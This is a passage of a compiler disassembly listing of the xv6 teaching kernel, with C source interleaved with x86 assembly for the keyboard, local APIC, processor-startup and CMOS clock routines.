80102c1b: a1 5c c6 10 80 mov 0x8010c65c,%eax
80102c20: 21 d0 and %edx,%eax
80102c22: a3 5c c6 10 80 mov %eax,0x8010c65c
return 0;
80102c27: b8 00 00 00 00 mov $0x0,%eax
80102c2c: e9 a0 00 00 00 jmp 80102cd1 <kbdgetc+0x14f>
} else if(shift & E0ESC){
80102c31: a1 5c c6 10 80 mov 0x8010c65c,%eax
80102c36: 83 e0 40 and $0x40,%eax
80102c39: 85 c0 test %eax,%eax
80102c3b: 74 14 je 80102c51 <kbdgetc+0xcf>
// Last character was an E0 escape; or with 0x80
data |= 0x80;
80102c3d: 81 4d fc 80 00 00 00 orl $0x80,-0x4(%ebp)
shift &= ~E0ESC;
80102c44: a1 5c c6 10 80 mov 0x8010c65c,%eax
80102c49: 83 e0 bf and $0xffffffbf,%eax
80102c4c: a3 5c c6 10 80 mov %eax,0x8010c65c
}
shift |= shiftcode[data];
80102c51: 8b 45 fc mov -0x4(%ebp),%eax
80102c54: 05 20 a0 10 80 add $0x8010a020,%eax
80102c59: 0f b6 00 movzbl (%eax),%eax
80102c5c: 0f b6 d0 movzbl %al,%edx
80102c5f: a1 5c c6 10 80 mov 0x8010c65c,%eax
80102c64: 09 d0 or %edx,%eax
80102c66: a3 5c c6 10 80 mov %eax,0x8010c65c
shift ^= togglecode[data];
80102c6b: 8b 45 fc mov -0x4(%ebp),%eax
80102c6e: 05 20 a1 10 80 add $0x8010a120,%eax
80102c73: 0f b6 00 movzbl (%eax),%eax
80102c76: 0f b6 d0 movzbl %al,%edx
80102c79: a1 5c c6 10 80 mov 0x8010c65c,%eax
80102c7e: 31 d0 xor %edx,%eax
80102c80: a3 5c c6 10 80 mov %eax,0x8010c65c
c = charcode[shift & (CTL | SHIFT)][data];
80102c85: a1 5c c6 10 80 mov 0x8010c65c,%eax
80102c8a: 83 e0 03 and $0x3,%eax
80102c8d: 8b 04 85 20 a5 10 80 mov -0x7fef5ae0(,%eax,4),%eax
80102c94: 03 45 fc add -0x4(%ebp),%eax
80102c97: 0f b6 00 movzbl (%eax),%eax
80102c9a: 0f b6 c0 movzbl %al,%eax
80102c9d: 89 45 f8 mov %eax,-0x8(%ebp)
if(shift & CAPSLOCK){
80102ca0: a1 5c c6 10 80 mov 0x8010c65c,%eax
80102ca5: 83 e0 08 and $0x8,%eax
80102ca8: 85 c0 test %eax,%eax
80102caa: 74 22 je 80102cce <kbdgetc+0x14c>
if('a' <= c && c <= 'z')
80102cac: 83 7d f8 60 cmpl $0x60,-0x8(%ebp)
80102cb0: 76 0c jbe 80102cbe <kbdgetc+0x13c>
80102cb2: 83 7d f8 7a cmpl $0x7a,-0x8(%ebp)
80102cb6: 77 06 ja 80102cbe <kbdgetc+0x13c>
c += 'A' - 'a';
80102cb8: 83 6d f8 20 subl $0x20,-0x8(%ebp)
80102cbc: eb 10 jmp 80102cce <kbdgetc+0x14c>
else if('A' <= c && c <= 'Z')
80102cbe: 83 7d f8 40 cmpl $0x40,-0x8(%ebp)
80102cc2: 76 0a jbe 80102cce <kbdgetc+0x14c>
80102cc4: 83 7d f8 5a cmpl $0x5a,-0x8(%ebp)
80102cc8: 77 04 ja 80102cce <kbdgetc+0x14c>
c += 'a' - 'A';
80102cca: 83 45 f8 20 addl $0x20,-0x8(%ebp)
}
return c;
80102cce: 8b 45 f8 mov -0x8(%ebp),%eax
}
80102cd1: c9 leave
80102cd2: c3 ret
80102cd3 <kbdintr>:
void
kbdintr(void)
{
80102cd3: 55 push %ebp
80102cd4: 89 e5 mov %esp,%ebp
80102cd6: 83 ec 18 sub $0x18,%esp
consoleintr(kbdgetc);
80102cd9: c7 04 24 82 2b 10 80 movl $0x80102b82,(%esp)
80102ce0: e8 c8 da ff ff call 801007ad <consoleintr>
}
80102ce5: c9 leave
80102ce6: c3 ret
...
80102ce8 <inb>:
// Routines to let C code use special x86 instructions.
static inline uchar
inb(ushort port)
{
80102ce8: 55 push %ebp
80102ce9: 89 e5 mov %esp,%ebp
80102ceb: 53 push %ebx
80102cec: 83 ec 14 sub $0x14,%esp
80102cef: 8b 45 08 mov 0x8(%ebp),%eax
80102cf2: 66 89 45 e8 mov %ax,-0x18(%ebp)
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102cf6: 0f b7 55 e8 movzwl -0x18(%ebp),%edx
80102cfa: 66 89 55 ea mov %dx,-0x16(%ebp)
80102cfe: 0f b7 55 ea movzwl -0x16(%ebp),%edx
80102d02: ec in (%dx),%al
80102d03: 89 c3 mov %eax,%ebx
80102d05: 88 5d fb mov %bl,-0x5(%ebp)
return data;
80102d08: 0f b6 45 fb movzbl -0x5(%ebp),%eax
}
80102d0c: 83 c4 14 add $0x14,%esp
80102d0f: 5b pop %ebx
80102d10: 5d pop %ebp
80102d11: c3 ret
80102d12 <outb>:
"memory", "cc");
}
static inline void
outb(ushort port, uchar data)
{
80102d12: 55 push %ebp
80102d13: 89 e5 mov %esp,%ebp
80102d15: 83 ec 08 sub $0x8,%esp
80102d18: 8b 55 08 mov 0x8(%ebp),%edx
80102d1b: 8b 45 0c mov 0xc(%ebp),%eax
80102d1e: 66 89 55 fc mov %dx,-0x4(%ebp)
80102d22: 88 45 f8 mov %al,-0x8(%ebp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102d25: 0f b6 45 f8 movzbl -0x8(%ebp),%eax
80102d29: 0f b7 55 fc movzwl -0x4(%ebp),%edx
80102d2d: ee out %al,(%dx)
}
80102d2e: c9 leave
80102d2f: c3 ret
80102d30 <readeflags>:
asm volatile("ltr %0" : : "r" (sel));
}
static inline uint
readeflags(void)
{
80102d30: 55 push %ebp
80102d31: 89 e5 mov %esp,%ebp
80102d33: 53 push %ebx
80102d34: 83 ec 10 sub $0x10,%esp
uint eflags;
asm volatile("pushfl; popl %0" : "=r" (eflags));
80102d37: 9c pushf
80102d38: 5b pop %ebx
80102d39: 89 5d f8 mov %ebx,-0x8(%ebp)
return eflags;
80102d3c: 8b 45 f8 mov -0x8(%ebp),%eax
}
80102d3f: 83 c4 10 add $0x10,%esp
80102d42: 5b pop %ebx
80102d43: 5d pop %ebp
80102d44: c3 ret
80102d45 <lapicw>:
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
80102d45: 55 push %ebp
80102d46: 89 e5 mov %esp,%ebp
lapic[index] = value;
80102d48: a1 7c 32 11 80 mov 0x8011327c,%eax
80102d4d: 8b 55 08 mov 0x8(%ebp),%edx
80102d50: c1 e2 02 shl $0x2,%edx
80102d53: 01 c2 add %eax,%edx
80102d55: 8b 45 0c mov 0xc(%ebp),%eax
80102d58: 89 02 mov %eax,(%edx)
lapic[ID]; // wait for write to finish, by reading
80102d5a: a1 7c 32 11 80 mov 0x8011327c,%eax
80102d5f: 83 c0 20 add $0x20,%eax
80102d62: 8b 00 mov (%eax),%eax
}
80102d64: 5d pop %ebp
80102d65: c3 ret
80102d66 <lapicinit>:
//PAGEBREAK!
void
lapicinit(void)
{
80102d66: 55 push %ebp
80102d67: 89 e5 mov %esp,%ebp
80102d69: 83 ec 08 sub $0x8,%esp
if(!lapic)
80102d6c: a1 7c 32 11 80 mov 0x8011327c,%eax
80102d71: 85 c0 test %eax,%eax
80102d73: 0f 84 47 01 00 00 je 80102ec0 <lapicinit+0x15a>
return;
// Enable local APIC; set spurious interrupt vector.
lapicw(SVR, ENABLE | (T_IRQ0 + IRQ_SPURIOUS));
80102d79: c7 44 24 04 3f 01 00 movl $0x13f,0x4(%esp)
80102d80: 00
80102d81: c7 04 24 3c 00 00 00 movl $0x3c,(%esp)
80102d88: e8 b8 ff ff ff call 80102d45 <lapicw>
// The timer repeatedly counts down at bus frequency
// from lapic[TICR] and then issues an interrupt.
// If xv6 cared more about precise timekeeping,
// TICR would be calibrated using an external time source.
lapicw(TDCR, X1);
80102d8d: c7 44 24 04 0b 00 00 movl $0xb,0x4(%esp)
80102d94: 00
80102d95: c7 04 24 f8 00 00 00 movl $0xf8,(%esp)
80102d9c: e8 a4 ff ff ff call 80102d45 <lapicw>
lapicw(TIMER, PERIODIC | (T_IRQ0 + IRQ_TIMER));
80102da1: c7 44 24 04 20 00 02 movl $0x20020,0x4(%esp)
80102da8: 00
80102da9: c7 04 24 c8 00 00 00 movl $0xc8,(%esp)
80102db0: e8 90 ff ff ff call 80102d45 <lapicw>
lapicw(TICR, 10000000);
80102db5: c7 44 24 04 80 96 98 movl $0x989680,0x4(%esp)
80102dbc: 00
80102dbd: c7 04 24 e0 00 00 00 movl $0xe0,(%esp)
80102dc4: e8 7c ff ff ff call 80102d45 <lapicw>
// Disable logical interrupt lines.
lapicw(LINT0, MASKED);
80102dc9: c7 44 24 04 00 00 01 movl $0x10000,0x4(%esp)
80102dd0: 00
80102dd1: c7 04 24 d4 00 00 00 movl $0xd4,(%esp)
80102dd8: e8 68 ff ff ff call 80102d45 <lapicw>
lapicw(LINT1, MASKED);
80102ddd: c7 44 24 04 00 00 01 movl $0x10000,0x4(%esp)
80102de4: 00
80102de5: c7 04 24 d8 00 00 00 movl $0xd8,(%esp)
80102dec: e8 54 ff ff ff call 80102d45 <lapicw>
// Disable performance counter overflow interrupts
// on machines that provide that interrupt entry.
if(((lapic[VER]>>16) & 0xFF) >= 4)
80102df1: a1 7c 32 11 80 mov 0x8011327c,%eax
80102df6: 83 c0 30 add $0x30,%eax
80102df9: 8b 00 mov (%eax),%eax
80102dfb: c1 e8 10 shr $0x10,%eax
80102dfe: 25 ff 00 00 00 and $0xff,%eax
80102e03: 83 f8 03 cmp $0x3,%eax
80102e06: 76 14 jbe 80102e1c <lapicinit+0xb6>
lapicw(PCINT, MASKED);
80102e08: c7 44 24 04 00 00 01 movl $0x10000,0x4(%esp)
80102e0f: 00
80102e10: c7 04 24 d0 00 00 00 movl $0xd0,(%esp)
80102e17: e8 29 ff ff ff call 80102d45 <lapicw>
// Map error interrupt to IRQ_ERROR.
lapicw(ERROR, T_IRQ0 + IRQ_ERROR);
80102e1c: c7 44 24 04 33 00 00 movl $0x33,0x4(%esp)
80102e23: 00
80102e24: c7 04 24 dc 00 00 00 movl $0xdc,(%esp)
80102e2b: e8 15 ff ff ff call 80102d45 <lapicw>
// Clear error status register (requires back-to-back writes).
lapicw(ESR, 0);
80102e30: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80102e37: 00
80102e38: c7 04 24 a0 00 00 00 movl $0xa0,(%esp)
80102e3f: e8 01 ff ff ff call 80102d45 <lapicw>
lapicw(ESR, 0);
80102e44: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80102e4b: 00
80102e4c: c7 04 24 a0 00 00 00 movl $0xa0,(%esp)
80102e53: e8 ed fe ff ff call 80102d45 <lapicw>
// Ack any outstanding interrupts.
lapicw(EOI, 0);
80102e58: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80102e5f: 00
80102e60: c7 04 24 2c 00 00 00 movl $0x2c,(%esp)
80102e67: e8 d9 fe ff ff call 80102d45 <lapicw>
// Send an Init Level De-Assert to synchronise arbitration ID's.
lapicw(ICRHI, 0);
80102e6c: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80102e73: 00
80102e74: c7 04 24 c4 00 00 00 movl $0xc4,(%esp)
80102e7b: e8 c5 fe ff ff call 80102d45 <lapicw>
lapicw(ICRLO, BCAST | INIT | LEVEL);
80102e80: c7 44 24 04 00 85 08 movl $0x88500,0x4(%esp)
80102e87: 00
80102e88: c7 04 24 c0 00 00 00 movl $0xc0,(%esp)
80102e8f: e8 b1 fe ff ff call 80102d45 <lapicw>
while(lapic[ICRLO] & DELIVS)
80102e94: 90 nop
80102e95: a1 7c 32 11 80 mov 0x8011327c,%eax
80102e9a: 05 00 03 00 00 add $0x300,%eax
80102e9f: 8b 00 mov (%eax),%eax
80102ea1: 25 00 10 00 00 and $0x1000,%eax
80102ea6: 85 c0 test %eax,%eax
80102ea8: 75 eb jne 80102e95 <lapicinit+0x12f>
;
// Enable interrupts on the APIC (but not on the processor).
lapicw(TPR, 0);
80102eaa: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80102eb1: 00
80102eb2: c7 04 24 20 00 00 00 movl $0x20,(%esp)
80102eb9: e8 87 fe ff ff call 80102d45 <lapicw>
80102ebe: eb 01 jmp 80102ec1 <lapicinit+0x15b>
void
lapicinit(void)
{
if(!lapic)
return;
80102ec0: 90 nop
while(lapic[ICRLO] & DELIVS)
;
// Enable interrupts on the APIC (but not on the processor).
lapicw(TPR, 0);
}
80102ec1: c9 leave
80102ec2: c3 ret
80102ec3 <cpunum>:
int
cpunum(void)
{
80102ec3: 55 push %ebp
80102ec4: 89 e5 mov %esp,%ebp
80102ec6: 83 ec 18 sub $0x18,%esp
// Cannot call cpu when interrupts are enabled:
// result not guaranteed to last long enough to be used!
// Would prefer to panic but even printing is chancy here:
// almost everything, including cprintf and panic, calls cpu,
// often indirectly through acquire and release.
if(readeflags()&FL_IF){
80102ec9: e8 62 fe ff ff call 80102d30 <readeflags>
80102ece: 25 00 02 00 00 and $0x200,%eax
80102ed3: 85 c0 test %eax,%eax
80102ed5: 74 29 je 80102f00 <cpunum+0x3d>
static int n;
if(n++ == 0)
80102ed7: a1 60 c6 10 80 mov 0x8010c660,%eax
80102edc: 85 c0 test %eax,%eax
80102ede: 0f 94 c2 sete %dl
80102ee1: 83 c0 01 add $0x1,%eax
80102ee4: a3 60 c6 10 80 mov %eax,0x8010c660
80102ee9: 84 d2 test %dl,%dl
80102eeb: 74 13 je 80102f00 <cpunum+0x3d>
cprintf("cpu called from %x with interrupts enabled\n",
80102eed: 8b 45 04 mov 0x4(%ebp),%eax
80102ef0: 89 44 24 04 mov %eax,0x4(%esp)
80102ef4: c7 04 24 18 8c 10 80 movl $0x80108c18,(%esp)
80102efb: e8 a1 d4 ff ff call 801003a1 <cprintf>
__builtin_return_address(0));
}
if(lapic)
80102f00: a1 7c 32 11 80 mov 0x8011327c,%eax
80102f05: 85 c0 test %eax,%eax
80102f07: 74 0f je 80102f18 <cpunum+0x55>
return lapic[ID]>>24;
80102f09: a1 7c 32 11 80 mov 0x8011327c,%eax
80102f0e: 83 c0 20 add $0x20,%eax
80102f11: 8b 00 mov (%eax),%eax
80102f13: c1 e8 18 shr $0x18,%eax
80102f16: eb 05 jmp 80102f1d <cpunum+0x5a>
return 0;
80102f18: b8 00 00 00 00 mov $0x0,%eax
}
80102f1d: c9 leave
80102f1e: c3 ret
80102f1f <lapiceoi>:
// Acknowledge interrupt.
void
lapiceoi(void)
{
80102f1f: 55 push %ebp
80102f20: 89 e5 mov %esp,%ebp
80102f22: 83 ec 08 sub $0x8,%esp
if(lapic)
80102f25: a1 7c 32 11 80 mov 0x8011327c,%eax
80102f2a: 85 c0 test %eax,%eax
80102f2c: 74 14 je 80102f42 <lapiceoi+0x23>
lapicw(EOI, 0);
80102f2e: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80102f35: 00
80102f36: c7 04 24 2c 00 00 00 movl $0x2c,(%esp)
80102f3d: e8 03 fe ff ff call 80102d45 <lapicw>
}
80102f42: c9 leave
80102f43: c3 ret
80102f44 <microdelay>:
// Spin for a given number of microseconds.
// On real hardware would want to tune this dynamically.
void
microdelay(int us)
{
80102f44: 55 push %ebp
80102f45: 89 e5 mov %esp,%ebp
}
80102f47: 5d pop %ebp
80102f48: c3 ret
80102f49 <lapicstartap>:
// Start additional processor running entry code at addr.
// See Appendix B of MultiProcessor Specification.
void
lapicstartap(uchar apicid, uint addr)
{
80102f49: 55 push %ebp
80102f4a: 89 e5 mov %esp,%ebp
80102f4c: 83 ec 1c sub $0x1c,%esp
80102f4f: 8b 45 08 mov 0x8(%ebp),%eax
80102f52: 88 45 ec mov %al,-0x14(%ebp)
ushort *wrv;
// "The BSP must initialize CMOS shutdown code to 0AH
// and the warm reset vector (DWORD based at 40:67) to point at
// the AP startup code prior to the [universal startup algorithm]."
outb(CMOS_PORT, 0xF); // offset 0xF is shutdown code
80102f55: c7 44 24 04 0f 00 00 movl $0xf,0x4(%esp)
80102f5c: 00
80102f5d: c7 04 24 70 00 00 00 movl $0x70,(%esp)
80102f64: e8 a9 fd ff ff call 80102d12 <outb>
outb(CMOS_PORT+1, 0x0A);
80102f69: c7 44 24 04 0a 00 00 movl $0xa,0x4(%esp)
80102f70: 00
80102f71: c7 04 24 71 00 00 00 movl $0x71,(%esp)
80102f78: e8 95 fd ff ff call 80102d12 <outb>
wrv = (ushort*)P2V((0x40<<4 | 0x67)); // Warm reset vector
80102f7d: c7 45 f8 67 04 00 80 movl $0x80000467,-0x8(%ebp)
wrv[0] = 0;
80102f84: 8b 45 f8 mov -0x8(%ebp),%eax
80102f87: 66 c7 00 00 00 movw $0x0,(%eax)
wrv[1] = addr >> 4;
80102f8c: 8b 45 f8 mov -0x8(%ebp),%eax
80102f8f: 8d 50 02 lea 0x2(%eax),%edx
80102f92: 8b 45 0c mov 0xc(%ebp),%eax
80102f95: c1 e8 04 shr $0x4,%eax
80102f98: 66 89 02 mov %ax,(%edx)
// "Universal startup algorithm."
// Send INIT (level-triggered) interrupt to reset other CPU.
lapicw(ICRHI, apicid<<24);
80102f9b: 0f b6 45 ec movzbl -0x14(%ebp),%eax
80102f9f: c1 e0 18 shl $0x18,%eax
80102fa2: 89 44 24 04 mov %eax,0x4(%esp)
80102fa6: c7 04 24 c4 00 00 00 movl $0xc4,(%esp)
80102fad: e8 93 fd ff ff call 80102d45 <lapicw>
lapicw(ICRLO, INIT | LEVEL | ASSERT);
80102fb2: c7 44 24 04 00 c5 00 movl $0xc500,0x4(%esp)
80102fb9: 00
80102fba: c7 04 24 c0 00 00 00 movl $0xc0,(%esp)
80102fc1: e8 7f fd ff ff call 80102d45 <lapicw>
microdelay(200);
80102fc6: c7 04 24 c8 00 00 00 movl $0xc8,(%esp)
80102fcd: e8 72 ff ff ff call 80102f44 <microdelay>
lapicw(ICRLO, INIT | LEVEL);
80102fd2: c7 44 24 04 00 85 00 movl $0x8500,0x4(%esp)
80102fd9: 00
80102fda: c7 04 24 c0 00 00 00 movl $0xc0,(%esp)
80102fe1: e8 5f fd ff ff call 80102d45 <lapicw>
microdelay(100); // should be 10ms, but too slow in Bochs!
80102fe6: c7 04 24 64 00 00 00 movl $0x64,(%esp)
80102fed: e8 52 ff ff ff call 80102f44 <microdelay>
// Send startup IPI (twice!) to enter code.
// Regular hardware is supposed to only accept a STARTUP
// when it is in the halted state due to an INIT. So the second
// should be ignored, but it is part of the official Intel algorithm.
// Bochs complains about the second one. Too bad for Bochs.
for(i = 0; i < 2; i++){
80102ff2: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
80102ff9: eb 40 jmp 8010303b <lapicstartap+0xf2>
lapicw(ICRHI, apicid<<24);
80102ffb: 0f b6 45 ec movzbl -0x14(%ebp),%eax
80102fff: c1 e0 18 shl $0x18,%eax
80103002: 89 44 24 04 mov %eax,0x4(%esp)
80103006: c7 04 24 c4 00 00 00 movl $0xc4,(%esp)
8010300d: e8 33 fd ff ff call 80102d45 <lapicw>
lapicw(ICRLO, STARTUP | (addr>>12));
80103012: 8b 45 0c mov 0xc(%ebp),%eax
80103015: c1 e8 0c shr $0xc,%eax
80103018: 80 cc 06 or $0x6,%ah
8010301b: 89 44 24 04 mov %eax,0x4(%esp)
8010301f: c7 04 24 c0 00 00 00 movl $0xc0,(%esp)
80103026: e8 1a fd ff ff call 80102d45 <lapicw>
microdelay(200);
8010302b: c7 04 24 c8 00 00 00 movl $0xc8,(%esp)
80103032: e8 0d ff ff ff call 80102f44 <microdelay>
// Send startup IPI (twice!) to enter code.
// Regular hardware is supposed to only accept a STARTUP
// when it is in the halted state due to an INIT. So the second
// should be ignored, but it is part of the official Intel algorithm.
// Bochs complains about the second one. Too bad for Bochs.
for(i = 0; i < 2; i++){
80103037: 83 45 fc 01 addl $0x1,-0x4(%ebp)
8010303b: 83 7d fc 01 cmpl $0x1,-0x4(%ebp)
8010303f: 7e ba jle 80102ffb <lapicstartap+0xb2>
lapicw(ICRHI, apicid<<24);
lapicw(ICRLO, STARTUP | (addr>>12));
microdelay(200);
}
}
80103041: c9 leave
80103042: c3 ret
80103043 <cmos_read>:
#define DAY 0x07
#define MONTH 0x08
#define YEAR 0x09
static uint cmos_read(uint reg)
{
80103043: 55 push %ebp
80103044: 89 e5 mov %esp,%ebp
80103046: 83 ec 08 sub $0x8,%esp
outb(CMOS_PORT, reg);
80103049: 8b 45 08 mov 0x8(%ebp),%eax
8010304c: 0f b6 c0 movzbl %al,%eax
8010304f: 89 44 24 04 mov %eax,0x4(%esp)
80103053: c7 04 24 70 00 00 00 movl $0x70,(%esp)
8010305a: e8 b3 fc ff ff call 80102d12 <outb>
microdelay(200);
8010305f: c7 04 24 c8 00 00 00 movl $0xc8,(%esp)
80103066: e8 d9 fe ff ff call 80102f44 <microdelay>
return inb(CMOS_RETURN);
8010306b: c7 04 24 71 00 00 00 movl $0x71,(%esp)
80103072: e8 71 fc ff ff call 80102ce8 <inb>
80103077: 0f b6 c0 movzbl %al,%eax
}
8010307a: c9 leave
8010307b: c3 ret
8010307c <fill_rtcdate>:
static void fill_rtcdate(struct rtcdate *r)
{
8010307c: 55 push %ebp
8010307d: 89 e5 mov %esp,%ebp
8010307f: 83 ec 04 sub $0x4,%esp
r->second = cmos_read(SECS);
80103082: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80103089: e8 b5 ff ff ff call 80103043 <cmos_read>
8010308e: 8b 55 08 mov 0x8(%ebp),%edx
80103091: 89 02 mov %eax,(%edx)
r->minute = cmos_read(MINS);
80103093: c7 04 24 02 00 00 00 movl $0x2,(%esp)
8010309a: e8 a4 ff ff ff call 80103043 <cmos_read>
8010309f: 8b 55 08 mov 0x8(%ebp),%edx
801030a2: 89 42 04 mov %eax,0x4(%edx)
r->hour = cmos_read(HOURS);
801030a5: c7 04 24 04 00 00 00 movl $0x4,(%esp)
801030ac: e8 92 ff ff ff call 80103043 <cmos_read>
801030b1: 8b 55 08 mov 0x8(%ebp),%edx
801030b4: 89 42 08 mov %eax,0x8(%edx)
r->day = cmos_read(DAY);
801030b7: c7 04 24 07 00 00 00 movl $0x7,(%esp)
801030be: e8 80 ff ff ff call 80103043 <cmos_read>
801030c3: 8b 55 08 mov 0x8(%ebp),%edx
801030c6: 89 42 0c mov %eax,0xc(%edx)
r->month = cmos_read(MONTH);
801030c9: c7 04 24 08 00 00 00 movl $0x8,(%esp)
801030d0: e8 6e ff ff ff call 80103043 <cmos_read>
801030d5: 8b 55 08 mov 0x8(%ebp),%edx
801030d8: 89 42 10 mov %eax,0x10(%edx)
r->year = cmos_read(YEAR);
801030db: c7 04 24 09 00 00 00 movl $0x9,(%esp)
801030e2: e8 5c ff ff ff call 80103043 <cmos_read>
801030e7: 8b 55 08 mov 0x8(%ebp),%edx
801030ea: 89 42 14 mov %eax,0x14(%edx)
}
801030ed: c9 leave
801030ee: c3 ret
801030ef <cmostime>:
// qemu seems to use 24-hour GWT and the values are BCD encoded
void cmostime(struct rtcdate *r)
{
801030ef: 55 push %ebp
801030f0: 89 e5 mov %esp,%ebp
801030f2: 83 ec 58 sub $0x58,%esp
struct rtcdate t1, t2;
int sb, bcd;
sb = cmos_read(CMOS_STATB);
801030f5: c7 04 24 0b 00 00 00 movl $0xb,(%esp)
801030fc: e8 42 ff ff ff call 80103043 <cmos_read>
80103101: 89 45 f4 mov %eax,-0xc(%ebp)
bcd = (sb & (1 << 2)) == 0;
80103104: 8b 45 f4 mov -0xc(%ebp),%eax
80103107: 83 e0 04 and $0x4,%eax
8010310a: 85 c0 test %eax,%eax
8010310c: 0f 94 c0 sete %al
8010310f: 0f b6 c0 movzbl %al,%eax
80103112: 89 45 f0 mov %eax,-0x10(%ebp)
80103115: eb 01 jmp 80103118 <cmostime+0x29>
if (cmos_read(CMOS_STATA) & CMOS_UIP)
continue;
fill_rtcdate(&t2);
if (memcmp(&t1, &t2, sizeof(t1)) == 0)
break;
}
80103117: 90 nop
bcd = (sb & (1 << 2)) == 0;
// make sure CMOS doesn't modify time while we read it
for (;;) {
fill_rtcdate(&t1);
80103118: 8d 45 d8 lea -0x28(%ebp),%eax
8010311b: 89 04 24 mov %eax,(%esp)
8010311e: e8 59 ff ff ff call 8010307c <fill_rtcdate>
if (cmos_read(CMOS_STATA) & CMOS_UIP)
80103123: c7 04 24 0a 00 00 00 movl $0xa,(%esp)
8010312a: e8 14 ff ff ff call 80103043 <cmos_read>
8010312f: 25 80 00 00 00 and $0x80,%eax
80103134: 85 c0 test %eax,%eax
80103136: 75 2b jne 80103163 <cmostime+0x74>
continue;
fill_rtcdate(&t2);
80103138: 8d 45 c0 lea -0x40(%ebp),%eax
8010313b: 89 04 24 mov %eax,(%esp)
8010313e: e8 39 ff ff ff call 8010307c <fill_rtcdate>
if (memcmp(&t1, &t2, sizeof(t1)) == 0)
80103143: c7 44 24 08 18 00 00 movl $0x18,0x8(%esp)
8010314a: 00
8010314b: 8d 45 c0 lea -0x40(%ebp),%eax
8010314e: 89 44 24 04 mov %eax,0x4(%esp)
80103152: 8d 45 d8 lea -0x28(%ebp),%eax
80103155: 89 04 24 mov %eax,(%esp)
80103158: e8 78 24 00 00 call 801055d5 <memcmp>
8010315d: 85 c0 test %eax,%eax
8010315f: 75 b6 jne 80103117 <cmostime+0x28>
break;
80103161: eb 03 jmp 80103166 <cmostime+0x77>
// make sure CMOS doesn't modify time while we read it
for (;;) {
fill_rtcdate(&t1);
if (cmos_read(CMOS_STATA) & CMOS_UIP)
continue;
80103163: 90 nop
fill_rtcdate(&t2);
if (memcmp(&t1, &t2, sizeof(t1)) == 0)
break;
}
80103164: eb b1 jmp 80103117 <cmostime+0x28>
// convert
if (bcd) {
80103166: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
8010316a: 0f 84 a8 00 00 00 je 80103218 <cmostime+0x129>
#define CONV(x) (t1.x = ((t1.x >> 4) * 10) + (t1.x & 0xf))
CONV(second);
80103170: 8b 45 d8 mov -0x28(%ebp),%eax
80103173: 89 c2 mov %eax,%edx
80103175: c1 ea 04 shr $0x4,%edx
80103178: 89 d0 mov %edx,%eax
8010317a: c1 e0 02 shl $0x2,%eax
8010317d: 01 d0 add %edx,%eax
8010317f: 01 c0 add %eax,%eax
80103181: 8b 55 d8 mov -0x28(%ebp),%edx
80103184: 83 e2 0f and $0xf,%edx
80103187: 01 d0 add %edx,%eax
80103189: 89 45 d8 mov %eax,-0x28(%ebp)
CONV(minute);
8010318c: 8b 45 dc mov -0x24(%ebp),%eax
8010318f: 89 c2 mov %eax,%edx
80103191: c1 ea 04 shr $0x4,%edx
80103194: 89 d0 mov %edx,%eax
80103196: c1 e0 02 shl $0x2,%eax
80103199: 01 d0 add %edx,%eax
8010319b: 01 c0 add %eax,%eax
8010319d: 8b 55 dc mov -0x24(%ebp),%edx
801031a0: 83 e2 0f and $0xf,%edx
801031a3: 01 d0 add %edx,%eax
801031a5: 89 45 dc mov %eax,-0x24(%ebp)
CONV(hour );
801031a8: 8b 45 e0 mov -0x20(%ebp),%eax
801031ab: 89 c2 mov %eax,%edx
801031ad: c1 ea 04 shr $0x4,%edx
801031b0: 89 d0 mov %edx,%eax
801031b2: c1 e0 02 shl $0x2,%eax
801031b5: 01 d0 add %edx,%eax
801031b7: 01 c0 add %eax,%eax
801031b9: 8b 55 e0 mov -0x20(%ebp),%edx
801031bc: 83 e2 0f and $0xf,%edx
801031bf: 01 d0 add %edx,%eax
801031c1: 89 45 e0 mov %eax,-0x20(%ebp)
CONV(day );
801031c4: 8b 45 e4 mov -0x1c(%ebp),%eax
801031c7: 89 c2 mov %eax,%edx
801031c9: c1 ea 04 shr $0x4,%edx
801031cc: 89 d0 mov %edx,%eax
801031ce: c1 e0 02 shl $0x2,%eax
801031d1: 01 d0 add %edx,%eax
801031d3: 01 c0 add %eax,%eax
801031d5: 8b 55 e4 mov -0x1c(%ebp),%edx
801031d8: 83 e2 0f and $0xf,%edx
801031db: 01 d0 add %edx,%eax
801031dd: 89 45 e4 mov %eax,-0x1c(%ebp)
CONV(month );
801031e0: 8b 45 e8 mov -0x18(%ebp),%eax
801031e3: 89 c2 mov %eax,%edx
801031e5: c1 ea 04 shr $0x4,%edx
801031e8: 89 d0 mov %edx,%eax
801031ea: c1 e0 02 shl $0x2,%eax
801031ed: 01 d0 add %edx,%eax
801031ef: 01 c0 add %eax,%eax
801031f1: 8b 55 e8 mov -0x18(%ebp),%edx
801031f4: 83 e2 0f and $0xf,%edx
801031f7: 01 d0 add %edx,%eax
801031f9: 89 45 e8 mov %eax,-0x18(%ebp)
CONV(year );
801031fc: 8b 45 ec mov -0x14(%ebp),%eax
801031ff: 89 c2 mov %eax,%edx
80103201: c1 ea 04 shr $0x4,%edx
80103204: 89 d0 mov %edx,%eax
80103206: c1 e0 02 shl $0x2,%eax
80103209: 01 d0 add %edx,%eax
8010320b: 01 c0 add %eax,%eax
8010320d: 8b 55 ec mov -0x14(%ebp),%edx
80103210: 83 e2 0f and $0xf,%edx
80103213: 01 d0 add %edx,%eax
80103215: 89 45 ec mov %eax,-0x14(%ebp)
#undef CONV
}
*r = t1;
80103218: 8b 45 08 mov 0x8(%ebp),%eax
8010321b: 8b 55 d8 mov -0x28(%ebp),%edx
8010321e: 89 10 mov %edx,(%eax)
80103220: 8b 55 dc mov -0x24(%ebp),%edx
80103223: 89 50 04 mov %edx,0x4(%eax)
80103226: 8b 55 e0 mov -0x20(%ebp),%edx
80103229: 89 50 08 mov %edx,0x8(%eax)
8010322c: 8b 55 e4 mov -0x1c(%ebp),%edx
8010322f: 89 50 0c mov %edx,0xc(%eax)
